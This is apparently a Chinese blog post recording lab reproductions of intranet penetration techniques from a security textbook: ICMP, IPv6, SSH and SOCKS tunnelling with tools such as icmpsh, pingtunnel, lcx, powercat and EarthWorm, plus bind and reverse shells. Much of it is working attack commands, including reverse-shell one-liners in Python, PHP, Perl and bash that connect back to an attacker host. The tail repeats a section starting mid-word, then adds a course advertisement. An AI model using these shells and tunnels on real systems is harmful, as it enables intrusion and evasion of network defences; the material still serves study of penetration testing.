内网渗透之隐藏通信隧道技术

前言

前段时间读了读徐哥的《内网安全攻防》,并复现了部分知识点,写篇文章记录下学习内容。

何为隐藏通信隧道技术?

意义

当我们成功杀入内网并完成信息收集后,下一步要进行的就是判断内网的连通性(也就是各种各样的流量包能否出的去、进的来),隐藏通信隧道技术通常用于在访问受限的内网环境中完成内网之内、内网与公网之间安全、稳定的数据传输。

简介

在最简单的情况下,两台主机之间数据的交换建立在TCP/IP协议之上,也就是说知道了IP、建立了TCP连接,那么两台主机便可以进行数据传输。

但在大多数情况下,内网的环境存在多种边界设备以及入侵检测装置的限制,它们会对主机间或者内网与外网之间通信的流量进行检测,如果存在异常就会进行拦截,这无疑给内网渗透增加了难度,而隐藏通信隧道技术就是为了绕过各种边界设备的封锁,从而完成主机间或内网与外网之间的通信。

常见隧道

网络层:IPV6隧道、ICMP隧道

传输层:TCP隧道、UDP隧道、端口转发

应用层:SSH隧道、HTTP(S)隧道、DNS隧道

接下来将从三种隧道中各选几种进行试验

网络层

1.IPV6隧道

工具:6tunnel(kali自带)

目标机:winserver 2008

攻击机:kali

首先开启目标机上的IPV6(实战中这一步一般由渗透测试人员上传的软件开启)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aKwaZqOa-1692713062210)(https://image.3001.net/images/20210529/1622278269_60b2007d97463e2420a5d.png!small)]

查看目标机的IPV6地址

2SNWx1.png

在攻击机中运行

sudo su
6tunnel -4 80  fe80::6090:bbdf:8c09:68d6%eth0 80

这条命令的含义就是将目标机的80端口(目标机使用IPV6地址)转发到本机的80端口上(本机使用IPV4地址)

2p9iN9.png

转发成功后,访问本机80端口便可以访问到目标机上正在运行的web服务

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6noIrZhQ-1692713062215)(https://image.3001.net/images/20210529/1622278285_60b2008d836c04033c011.png!small)]

2.ICMP隧道

在一般的情况下,如果两台主机要进行通信,必须要开放相应的端口,比如ssh-22端口,rdp-3389端口,但如果使用ICMP隧道,则不需要开放任何的端口,所以ICMP隧道十分简单、实用

在渗透测试中,如果防火墙对各种上层协议(HTTP.HTTPS,DNS等)的数据包进行了封锁,那么我们可以尝试一下网管常常漏掉的ICMP协议包,我们可以将TCP数据包封装到ICMP数据包中,如果防火墙不对ICMP包进行拦截,那么我们便可以实现对防火墙的突破

工具:icmpsh

下载地址:https://gitee.com/WeiyiGeek/icmpshell.git(github下载太慢,就换了个国内的)

2p9HKK.png

安装python的impacket类库,以便于对各类协议进行访问

apt-get install python3-impacket

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TY9oDdcW-1692713062217)(https://image.3001.net/images/20210529/1622278305_60b200a17eeecbb9abfad.png!small)]

但是笔者这里的安装并不顺利,所以就采用了另一种安装方法:

直接从github上下载源码并运行地址:

python setup.py install

如此impacket便安装成功

由于icmpsh要代替系统本身的ping应答,所以要关闭一下系统的ping应答,否则工具将无法稳定运行

sysctl -w net.ipv4.icmp_echo_ignore_all=1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GH9LHe2C-1692713062218)(https://image.3001.net/images/20210529/1622278317_60b200adb5a8c16ccb118.png!small)]

进入目录后运行

./run.sh

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-on64Pf8a-1692713062220)(https://image.3001.net/images/20210529/1622278326_60b200b661c4307571555.png!small)]

依次输入攻击机IP和受害机IP便会自动输出需要在受害机上运行的命令

在受害机运行

2pAUbV.png

在攻击机上便可以见到回弹shell

2pAWVK.png

2pAzGQ.png

工具:pingtunnel

本次测试网络拓扑图:

2pMs2T.png

测试环境:攻击机可以访问web服务器,不能访问数据库服务器

web服务器只能通过ICMP协议访问数据库服务器

渗透目标:利用工具使攻击机可以访问数据库服务器的3389

首先要安装工具

wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz

tar -xzvf PingTunnel-0.72.tar.gz

cd PingTunnel

make && make install

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vFzNbMRz-1692713062225)(https://image.3001.net/images/20210529/1622278373_60b200e59e69696e41b42.png!small)]

如果报pcap.h缺失:

wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz 

tar zxvf libpcap-1.9.0.tar.gz 

cd libpcap-1.9.0 

./configure

最后一步过程中又会报Neither flex nor lex was found的错误:

apt-get install flex bison

继续执行:

./configure
make
sudo make install

回到pingtunnel目录重新执行

make && make install

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LkaVUrtt-1692713062226)(https://image.3001.net/images/20210529/1622278387_60b200f31ff65d37dcd86.png!small)]

攻击机工具安装完成

接下来还要在web服务器上安装工具,安装过程类似不多赘述

在web服务器运行命令

ptunnel -x haixian

2p7L8g.png

这条命令便是在web服务器上开启一个密码为haixian的icmp隧道

接下来在攻击机上执行

ptunnel -p 192.168.1.5 -lp 1080 -da 192.168.1.2 -dp 3389 -x haixian

2pHhJU.png

这条命令的意思是,当访问攻击机的1080端口时,数据库服务器3389端口的数据便会以web服务器为中转,通过刚刚搭建好的以haixian为密码的ICMP隧道传送到攻击机的1080端口上

接下来访问本机的1080端口便可以连接到数据库服务器的远程桌面了(3389)

2pqQjH.png

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mm9L7yTd-1692713062231)(https://image.3001.net/images/20210529/1622278443_60b2012bab0d2290ac375.png!small)]

同理,我们可以连接数据库服务器的SSH(22端口)或者数据库服务(如果是mysql的话为3306端口),这里不再赘述

传输层

1.端口转发

工具:lcx

下载地址:http://www.vuln.cn/wp-content/uploads/2016/06/lcx_vuln.cn_.zip

lcx是一个非常经典的端口转发工具,在linux或者windows中均可使用,lcx的原理就是搭建Socket隧道,一个正常的Socket隧道必须具备两端:客户端、服务端,服务端开启监听端口,客户端传入服务端的IP与端口,主动与服务端连接

在受害机上执行

lcx.exe -slave 192.168.1.4(攻击机IP) 4444 127.0.0.1 3389

这条命令的意思就是将本机的3389端口转发到攻击机的4444端口上

之后在攻击机上执行

./portmap -m 2 -p1 4444 -h2 192.168.1.4 -p2 5555

这条命令的意思就是将本地4444端口接收的数据转发到5555端口

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AmL4sIIE-1692713062232)(https://image.3001.net/images/20210529/1622278449_60b20131bbfd6dadd7bcf.png!small)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Nevum56B-1692713062233)(https://image.3001.net/images/20210529/1622278458_60b2013a0207cf3de7e70.png!small)]

在攻击机访问本机5555端口

29enc4.png

可见成功访问受害机远程桌面(3389端口)

29uIUI.png

端口扫描

扫描80端口

nc -v  192.168.1.2 80

2CaLwt.png

可以看到目标主机的80端口是开启的

获得shell

(1).正向shell

即攻击机主动去连接受害机,正向连接使用频率较少,因为这种shell很容易被各种边界设备所拦截

在受害机中执行

nc -lvp 4444 -e /bin/sh

这条命令的意思是把/bin/sh发送给请求本机4444端口的终端

2CwOG8.png

在攻击机上执行

nc 192.168.1.5 444

去主动连接受害机的4444端口

2CwcUx.png

在攻击机上使用ifconfig查看IP发现已经是受害机的IP

(2).反向shell

即受害及主动来连接攻击机,这种方法在渗透测试中更为常用,因为它可以突破许多边界设备的封锁

在攻击机上执行

nc -lvp 5555

开始监听本机5555端口

2C06yQ.png

接下来在受害机中执行

nc 192.168.1.4 5555 -e /bin/sh

这条命令的意思就是去主动连接攻击机的5555端口并把/bin/sh传送给5555端口

2C0hF0.png

2C05WT.png

可以看到在攻击机上已经收到了受害机的shell

但这个实验是建立在受害机已经安装netcat这个工具了,而实际情况下如果没有安装应该怎么办呢?

1.使用python反弹shell

执行如下命令,在攻击机上监听本地1234端口

2CBimd.png

在受害机中执行

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机IP",攻击机监听的端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

2CBQmj.png

攻击机上收到回弹shell

2CBB7R.png

但是这种方法又建立在受害及上存在python环境的情况下

如果受害机上没有python环境怎么办呢?

2.php反弹shell

如果没有python环境,但受害机上存在php环境,那么也可以利用php反弹shell

执行如下命令,在攻击机上监听本地2021端口

2CDlvD.png

在受害机上执行

php -r '$sock=fsockopen("攻击机ip",攻击机监听的端口);exec("/bin/bash -i <&3 >&3 2>&3");'

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nhl7FxKg-1692713062246)(https://image.3001.net/images/20210529/1622278603_60b201cb5894145fd62f2.png!small)]

可以看到在攻击机上以及收到了反弹shell

2CrkJP.png

那如果在受害机上既没有python环境又没有php环境该怎么办呢?

3.perl反弹shell

如果目标机器上使用的是perl语言,那么我们还可以使用perl反弹shell

攻击机本地监听4321端口

nc -lvp 4321

2CsEkR.png

受害机执行

perl -e 'use Socket;$i="攻击机ip";$p=攻击机监听端口;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

2C6ARx.png

可以在攻击机上收到反弹shell

2C6uee.png

4.bash反弹shell

那么如果在受害机上以上三种语言环境都不存在怎么办呢?

执行如下命令,在攻击机上监听6666端口

nc -lvp 6666

2CBRje.png

在受害机中执行

bash -i >& /dev/tcp/192.168.1.4/6666 0>&1

将受害机上的输入与输出以TCP流的形式重定向到攻击机的6666端口

2CBLjg.png

可以看到在攻击机上收到了受害机的反弹shell

2CDp40.png

5.内网代理实验

本次实验工具:web服务器(kali)、数据库服务器(win server 2008)、攻击机(kali)

本次实验网络拓扑图:
2ikPX9.png

实验条件:攻击机可以访问到web服务器,但访问不到数据库服务器,web服务器可以访问攻击机,也可以访问数据库服务器,攻击机无法直接访问数据库服务器,通过前期渗透已经取得了web服务器的权限

首先在攻击机上执行命令监听本机9999端口

nc -lvp 9999

2iAkvQ.png

然后在数据库服务器中执行

nc -lvp 9999 -e c:\windows\system32\cmd.exe

将本机的cmd.exe传送到请求9999端口的主机

最后在web服务器(跳板机)中执行

nc -v 192.168.1.4 9999 -c "nc -v 192.168.1.2 9999"

这条命令的意思就是web服务器先去连接攻击机,连上之后立刻去连接数据库服务器的9999端口,连接成功后把两个隧道合并为一条隧道(请自行脑补~)

2iAfG8.png

可见在攻击机中收到了来自数据包库服务器的反弹shell

2iAXGT.png

3.Powercat

工具下载地址:https://github.com/besimorhino/powercat

工具下载后需要导入powercat.ps1脚本后才可以正常使用powercat

执行

Import-Module .\powercat.ps1

导入脚本,有可能会报权限不够,需要修改权限

2ieLm4.png

执行

Set-ExecutionPolicy RemoteSigned

然后就可以导入脚本了

2ievkR.png

如图所示,接下来就可以正常的使用powercat了

powercat部分参数介绍

-c 指定一个ip地址
-p 指定一个端口
-v 显示详情
-l 监听模式
-e 程序重定向

通过nc正向连接powercat

在win server 2008中执行

powercat -l -p 8888 -e cmd.exe -v

这条命令的意思是把cmd.exe数据包发送给请求本机8888端口的主机

2iuW0e.png

在攻击机中执行

nc 192.168.1.2 8888 -vv

2iK910.png

可以看到已经接收到了win server2008 的shell

使用nc反向连接powercat

在攻击机中执行

nc -l -p 5678 -vv

开启监听本机5678端口

2iKlnO.png

接下来在win server2008执行

powercat -c 192.168.1.4 -p 5678 -v -e cmd.exe

主动去连接攻击机

2iKdjf.png

可以看到在攻击机中收到了反弹shell

2iKyNj.png

powercat之间互相连接反弹powershell

首先在win server 2008上执行

powercat -l -p 3333 -v

监听本机3333端口

2FdWZj.png

接下来在WIN7上执行

powercat -c 192.168.1.2 -p 3333 -v -ep

2FdXw9.png

可以看到在win server 2008上已经收到了来自WIN7的powershell

2FwZFI.png

应用层

1.SSH

几乎所有的unix/linux主机都支持SSH协议,都可以通过SSH通信而在现实情况中,网管员经常会使用SSH连接来远程管理内网中的主机,所以一般情况下,边界设备并不会拦截SSH流量,加之SSH流量是加密的,一般的入侵检测工具很难检测出SSH流量的异常,所以渗透测试人员往往能通过SSH建立起一些其他隧道难以建立的TCP通信隧道

SSH常见参数

-C 压缩传输
-f 后台执行SSH
-N 建立静默连接
-g 允许远程主机连接本地用于转发的端口
-L 本地端口转发
-R 远程端口转发
-D 动态转发
-P 指定SSH端口

(1).本地转发

本次实验网络拓扑图:

2ikPX9.png

实验环境:攻击机无法访问数据库服务器,可以访问web服务器且已获得web服务器的权限,web服务器和数据库服务器可以互相访问

实验目标:通过本地端口转发,访问攻击机本地的2021端口便可以打开数据库服务器的远程桌面

首先在攻击机上执行

ssh -CfNg -L 2021:192.168.1.2:3389 root@192.168.1.5

这条命令的意思就是攻击机去连接web服务器,连上之后由web服务器去连接数据库服务器的3389端口并把数据通过SSH通道传给攻击机

2FgthQ.png

会提示输入web服务器的密码,输入密码

由于我们选择的是静默模式,所以可以本地查看一下2021端口是否被监听来检查通道的建立是否正常

netstat -tulnp | grep "2021"

2F2kgs.png

可以看到2021端口正在被ssh服务监听,证明通道搭建成功

接下来在攻击机访问把本地2021端口即可打开数据库服务器的远程桌面

rdesktop 127.0.0.1:2021

2F2XiF.png

(2).远程转发

本次实验网络拓扑图:

2ikPX9.png

实验环境:

攻击机无法访问数据库服务器,也无法访问web服务器但已获得web服务器的权限,web服务器和数据库服务器可以互相访问,web服务器可以访问具有公网IP的攻击机

实验目标:通过访问攻击机本机的7890端口来访问数据库服务器的3389端口

在web服务器上执行

ssh -CfNg -R 7890:192.168.1.2:3389 root@192.168.1.4

这条命令的意思是此时的web服务器虽然依旧是跳板,但是无论是连接数据库服务器的3389还是去连接攻击机的7890都是web服务器主动发起

2kzGTK.png

输入攻击机的密码

在攻击机访问本地7890端口

rdesktop 127.0.0.1:7890

2kzYFO.png

(3).动态转发

本次实验网络拓扑图:

2ikPX9.png

在攻击机上执行

ssh -CfNg -D 6000 root@192.168.1.5

此条命令搭建了一个动态的SOCKS代理通道

输入web服务器密码后执行

netstat -tulnp | grep ":6000"

查看连接情况

2A9KSg.png

连接成功

例:在本地浏览器设置好SOCKS代理后可以访问到数据库服务器上开放的web服务

2AiXcD.png

2AFUER.png

2.HTTP/HTTPS隧道

这种隧道笔者已经在文章https://www.freebuf.com/articles/web/262820.html中已经讲解,这里不多赘述

3.SOCKS代理

SOCKS可以简单的把两个系统连接到一起,SOCKS支持多种协议,可以理解为升级版的lcx

常见工具:EarthWorm、SocksCap64、ProxyChains

(1).EW

工具下载地址:https://github.com/rootkiter/EarthWorm

正向代理

攻击机本地执行

ew -s ssocksd -l 888

这种连接方式是攻击机主动去找受害机,所以这里的受害机需要具有公网IP(攻击机可以直接去访问受害机)

反向代理

本次实验网络拓扑图:

2ikPX9.png

首先在攻击机上执行

./ew_for_linux64 -s rssocks -l 1080 -e 1234

在本地添加转接隧道,将1080收到的数据转发给1234端口

2AMd39.png

在web服务器上执行

ew.exe -s rssocks -d 192.168.1.4 -e 1234

可在攻击机上收到回显

2AMR9H.png

至此,socks代理隧道搭建成功,攻击机便可以通过此隧道访问受害机任意服务(服务开启)

二级网络环境试验1:

本次实验网络拓扑图:

2AlZWQ.png

实验环境

web服务器可以访问外网和数据库服务器,数据库服务器不能访问外网,只能访问内网资源

实验目标:通过访问攻击机本地端口访问架设在数据库服务器上的SOCKS隧道从而访问内网资源

首先在主机上执行

./ew_for_linux64 -s ssocksd -l 888

启动888端口的SOCKS代理

2A1Cp4.png

然后在web服务器中执行

ew_for_Win.exe -s lcx_tran -l 1080 -f 192.168.1.4 -g 888

2A1ljA.png

使web服务器去主动连接攻击机和数据库服务器

接下来就可以通过访问攻击机的1080端口去使用搭建好的SOCKS隧道了

二级网络环境试验2:

本次实验网络拓扑图:

2A3P58.png

实验环境:

A主机没有公网IP但可以访问公网,不可以访问内网,B主机可以访问内网,不能访问外网

实验目标:

通过访问攻击机上的10800端口来访问B主机上的SOCKS隧道,从而访问内网资源

首先在攻击机上执行

./ew_for_linux64 -s lcx_listen -l 10800 -e 888

2A34JS.png

添加转接隧道,将10800端口收到的代理请求转发到888端口

下面在B主机中执行

ew_for_Win.exe -s ssocksd -l 999

2A8BT0.png

开启999端口的SOCKS代理

最后,在A主机中执行

./ew_for_linux64 -s lcx_slave -d 192.168.1.4 -e 888 -f 192.168.1.2 -g 999

2A8h01.png

利用slave方式,将攻击机的888端口与B主机的999端口连接

可以在攻击机上看到隧道搭建成功提示

2A8XnA.png

接下来可以使用SocksCap64等代理工具对socks隧道进行利用,方法较为简单,这里不再赘述

写在后面

这篇文章比较长,感谢读到最后的你~

参考资料:

《内网安全攻防:渗透测试实战指南》徐焱、贾晓璐

https://blog.csdn.net/weixin_42652002/article/details/112070453

CKS隧道,从而访问内网资源

首先在攻击机上执行

./ew_for_linux64 -s lcx_listen -l 10800 -e 888

[外链图片转存中…(img-pUwVKZXF-1692713062284)]

添加转接隧道,将10800端口收到的代理请求转发到888端口

下面在B主机中执行

ew_for_Win.exe -s ssocksd -l 999

[外链图片转存中…(img-H2iUd4JG-1692713062285)]

开启999端口的SOCKS代理

最后,在A主机中执行

./ew_for_linux64 -s lcx_slave -d 192.168.1.4 -e 888 -f 192.168.1.2 -g 999

[外链图片转存中…(img-fXiHdtNT-1692713062286)]

利用slave方式,将攻击机的888端口与B主机的999端口连接

可以在攻击机上看到隧道搭建成功提示

[外链图片转存中…(img-HYxnjoNX-1692713062286)]

接下来可以使用SocksCap64等代理工具对socks隧道进行利用,方法较为简单,这里不再赘述

写在后面

这篇文章比较长,感谢读到最后的你~

参考资料:

《内网安全攻防:渗透测试实战指南》徐焱、贾晓璐

https://blog.csdn.net/weixin_42652002/article/details/112070453

接下来我将给各位同学划分一张学习计划表!

学习计划

那么问题又来了,作为萌新小白,我应该先学什么,再学什么?
既然你都问的这么直白了,我就告诉你,零基础应该从什么开始学起:

阶段一:初级网络安全工程师

接下来我将给大家安排一个为期1个月的网络安全初级计划,当你学完后,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web渗透、安全服务、安全分析等岗位;其中,如果你等保模块学的好,还可以从事等保工程师。

综合薪资区间6k~15k

1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(1周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(1周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(1周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

那么,到此为止,已经耗时1个月左右。你已经成功成为了一名“脚本小子”。那么你还想接着往下探索吗?

阶段二:中级or高级网络安全工程师(看自己能力)

综合薪资区间15k~30k

7、脚本编程学习(4周)
在网络安全领域。是否具备编程能力是“脚本小子”和真正网络安全工程师的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力。

零基础入门的同学,我建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习
搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP,IDE强烈推荐Sublime;

Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,没必要看完

用Python编写漏洞的exp,然后写一个简单的网络爬虫

PHP基本语法学习并书写一个简单的博客系统

熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选)

了解Bootstrap的布局或者CSS。

阶段三:顶级网络安全工程师

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

学习资料分享

当然,只给予计划不给予学习资料的行为无异于耍流氓,这里给大家整理了一份【282G】的网络安全工程师从入门到精通的学习资料包,可点击下方二维码链接领取哦。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值